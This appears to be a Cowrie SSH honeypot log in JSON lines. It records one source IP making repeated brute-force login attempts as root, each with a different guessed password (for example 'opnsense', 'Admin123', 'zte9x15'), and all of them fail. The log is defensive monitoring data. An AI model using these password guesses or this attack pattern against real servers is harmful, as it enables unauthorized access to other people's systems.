{"eventid":"cowrie.login.failed","username":"root","password":"19951995","message":"login attempt [root/19951995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:07.658579Z","src_ip":"60.165.124.241","session":"6323b8d1594b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:08.923692Z","src_ip":"60.165.124.241","session":"6323b8d1594b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36210,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b803978eaa8","protocol":"ssh","message":"New connection: 60.165.124.241:36210 (10.17.0.5:22) [session: 6b803978eaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:09.155880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:09.160936Z","src_ip":"60.165.124.241","session":"6b803978eaa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:09.404331Z","src_ip":"60.165.124.241","session":"6b803978eaa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aDm8H%MdA","message":"login attempt [root/aDm8H%MdA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:10.126271Z","src_ip":"60.165.124.241","session":"6b803978eaa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:11.367551Z","src_ip":"60.165.124.241","session":"6b803978eaa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39600,"dst_ip":"10.17.0.5","dst_port":22,"session":"62e10e401800","protocol":"ssh","message":"New connection: 60.165.124.241:39600 (10.17.0.5:22) [session: 62e10e401800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:11.637811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:11.643010Z","src_ip":"60.165.124.241","session":"62e10e401800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:11.906991Z","src_ip":"60.165.124.241","session":"62e10e401800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"opnsense","message":"login attempt [root/opnsense] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:12.672415Z","src_ip":"60.165.124.241","session":"62e10e401800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:13.941241Z","src_ip":"60.165.124.241","session":"62e10e401800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42976,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf47a4dcf2ed","protocol":"ssh","message":"New connection: 60.165.124.241:42976 (10.17.0.5:22) [session: cf47a4dcf2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:14.164042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:14.169513Z","src_ip":"60.165.124.241","session":"cf47a4dcf2ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:14.414972Z","src_ip":"60.165.124.241","session":"cf47a4dcf2ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stfu_and_be_quite","message":"login attempt [root/stfu_and_be_quite] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:15.159783Z","src_ip":"60.165.124.241","session":"cf47a4dcf2ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:16.414253Z","src_ip":"60.165.124.241","session":"cf47a4dcf2ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46180,"dst_ip":"10.17.0.5","dst_port":22,"session":"457b56f32083","protocol":"ssh","message":"New connection: 60.165.124.241:46180 (10.17.0.5:22) [session: 457b56f32083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:16.657271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:16.662802Z","src_ip":"60.165.124.241","session":"457b56f32083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:16.908427Z","src_ip":"60.165.124.241","session":"457b56f32083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:18.384454Z","src_ip":"60.165.124.241","session":"457b56f32083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:19.637646Z","src_ip":"60.165.124.241","session":"457b56f32083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50738,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea63b0ec3d03","protocol":"ssh","message":"New connection: 60.165.124.241:50738 (10.17.0.5:22) [session: ea63b0ec3d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:19.886942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:19.892775Z","src_ip":"60.165.124.241","session":"ea63b0ec3d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:20.145473Z","src_ip":"60.165.124.241","session":"ea63b0ec3d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Unis2020@_","message":"login attempt [root/Unis2020@_] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:20.905208Z","src_ip":"60.165.124.241","session":"ea63b0ec3d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:22.144196Z","src_ip":"60.165.124.241","session":"ea63b0ec3d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54004,"dst_ip":"10.17.0.5","dst_port":22,"session":"78e8eec018dc","protocol":"ssh","message":"New connection: 60.165.124.241:54004 (10.17.0.5:22) [session: 78e8eec018dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:22.415058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:22.419876Z","src_ip":"60.165.124.241","session":"78e8eec018dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:22.676670Z","src_ip":"60.165.124.241","session":"78e8eec018dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:23.449307Z","src_ip":"60.165.124.241","session":"78e8eec018dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:24.711429Z","src_ip":"60.165.124.241","session":"78e8eec018dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57304,"dst_ip":"10.17.0.5","dst_port":22,"session":"94b989fab536","protocol":"ssh","message":"New connection: 60.165.124.241:57304 (10.17.0.5:22) [session: 94b989fab536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:24.926171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:24.931919Z","src_ip":"60.165.124.241","session":"94b989fab536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:25.178192Z","src_ip":"60.165.124.241","session":"94b989fab536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:25.927523Z","src_ip":"60.165.124.241","session":"94b989fab536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:27.166232Z","src_ip":"60.165.124.241","session":"94b989fab536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60748,"dst_ip":"10.17.0.5","dst_port":22,"session":"29ceb3527ea4","protocol":"ssh","message":"New connection: 60.165.124.241:60748 (10.17.0.5:22) [session: 29ceb3527ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:27.405215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:27.410250Z","src_ip":"60.165.124.241","session":"29ceb3527ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:27.649659Z","src_ip":"60.165.124.241","session":"29ceb3527ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zte9x15","message":"login attempt [root/zte9x15] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:28.373198Z","src_ip":"60.165.124.241","session":"29ceb3527ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:29.615514Z","src_ip":"60.165.124.241","session":"29ceb3527ea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35906,"dst_ip":"10.17.0.5","dst_port":22,"session":"32ac15006afe","protocol":"ssh","message":"New connection: 60.165.124.241:35906 (10.17.0.5:22) [session: 32ac15006afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:29.861905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:45:29.866040Z","src_ip":"60.165.124.241","session":"32ac15006afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sh